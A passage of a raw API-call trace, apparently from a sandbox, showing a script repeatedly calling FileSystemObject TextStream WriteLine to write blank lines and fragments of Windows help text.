(_Block=0x249c884ee60) [0148.674] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.674] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.674] SysReleaseString () returned 0x1 [0148.674] CoTaskMemFree (pv=0x249c8761b80) [0148.674] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.674] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.674] CoTaskMemAlloc (cb=0x28) returned 0x249c8761700 [0148.674] SysAddRefString () returned 0x0 [0148.674] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.674] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.674] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.674] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767d88, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.674] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768db8, pBstrHelpFile=0x249c8758f60*="頰졵ɉ") returned 0x0 [0148.675] malloc (_Size=0x8) returned 0x249c884ede0 [0148.675] malloc (_Size=0x14) returned 0x249ca447650 [0148.675] _snwprintf_s (in: _DstBuf=0x249ca447650, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.675] malloc (_Size=0x4e) returned 0x249c884a540 [0148.675] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.675] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.675] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.675] wcsncpy_s (in: _Destination=0x249ca4d5208, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.675] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.675] free (_Block=0x249ca447650) [0148.675] free (_Block=0x249c884ede0) [0148.675] free (_Block=0x249c884a540) [0148.675] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.675] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.675] SysReleaseString () returned 0x1 [0148.675] CoTaskMemFree (pv=0x249c8761700) [0148.675] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.675] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.676] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.676] SysAddRefString () returned 0x0 [0148.676] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.676] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.676] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.676] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768db8, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.676] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767788, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.676] malloc (_Size=0x8) returned 0x249c884ede0 [0148.676] malloc (_Size=0x14) returned 0x249ca4477b0 [0148.676] _snwprintf_s (in: _DstBuf=0x249ca4477b0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.676] malloc (_Size=0x4e) returned 0x249c884a540 [0148.676] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.676] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.676] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.676] wcsncpy_s (in: _Destination=0x249ca4d5250, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.676] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.676] free (_Block=0x249ca4477b0) [0148.676] free (_Block=0x249c884ede0) [0148.676] free (_Block=0x249c884a540) [0148.677] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.677] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.677] SysReleaseString () returned 0x1 [0148.677] CoTaskMemFree (pv=0x249c8761b80) [0148.677] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.677] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.677] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.677] SysAddRefString () returned 0x0 [0148.677] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.677] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.677] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.678] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767788, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.678] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87679c8, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.678] malloc (_Size=0x8) returned 0x249c884ed60 [0148.678] malloc (_Size=0xae) returned 0x249c884ee60 [0148.678] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x57, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 86 [0148.678] malloc (_Size=0xe8) returned 0x249ca4d5de0 [0148.678] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x74, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.678] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x74, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _MaxCount=0x56 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 0x0 [0148.678] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _SizeInWords=0x74, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.678] wcsncpy_s (in: _Destination=0x249ca4d5298, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.678] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.678] free (_Block=0x249c884ee60) [0148.678] free (_Block=0x249c884ed60) [0148.678] free (_Block=0x249ca4d5de0) [0148.678] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.678] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.678] SysReleaseString () returned 0x1 [0148.678] CoTaskMemFree (pv=0x249c87618b0) [0148.678] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.679] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.679] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.679] SysAddRefString () returned 0x0 [0148.679] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.679] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.679] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.679] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87679c8, pBstrHelpFile=0x249c8758f60*="꒰졵ɉ") returned 0x0 [0148.679] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767ae8, pBstrHelpFile=0x249c8758f60*="꒰졵ɉ") returned 0x0 [0148.679] malloc (_Size=0x8) returned 0x249c884ed90 [0148.679] malloc (_Size=0xd0) returned 0x249c884ee60 [0148.679] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x68, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 103 [0148.679] malloc (_Size=0x10a) returned 0x249ca4d5de0 [0148.679] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x85, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.679] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x85, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _MaxCount=0x67 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 0x0 [0148.679] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _SizeInWords=0x85, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.679] wcsncpy_s (in: _Destination=0x249ca4d537a, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.679] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.680] free (_Block=0x249c884ee60) [0148.680] free (_Block=0x249c884ed90) [0148.680] free (_Block=0x249ca4d5de0) [0148.680] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.680] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.680] SysReleaseString () returned 0x1 [0148.680] CoTaskMemFree (pv=0x249c87618b0) [0148.680] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.686] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.687] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.687] SysAddRefString () returned 0x0 [0148.687] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.687] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.687] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.687] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767ae8, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.687] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767b48, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.687] malloc (_Size=0x8) returned 0x249c884eca0 [0148.687] malloc (_Size=0x14) returned 0x249ca4477f0 [0148.687] _snwprintf_s (in: _DstBuf=0x249ca4477f0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.687] malloc (_Size=0x4e) returned 0x249c884a540 [0148.687] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.687] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.687] wcscat_s (in: _Destination="ITextStream.WriteLine(\" 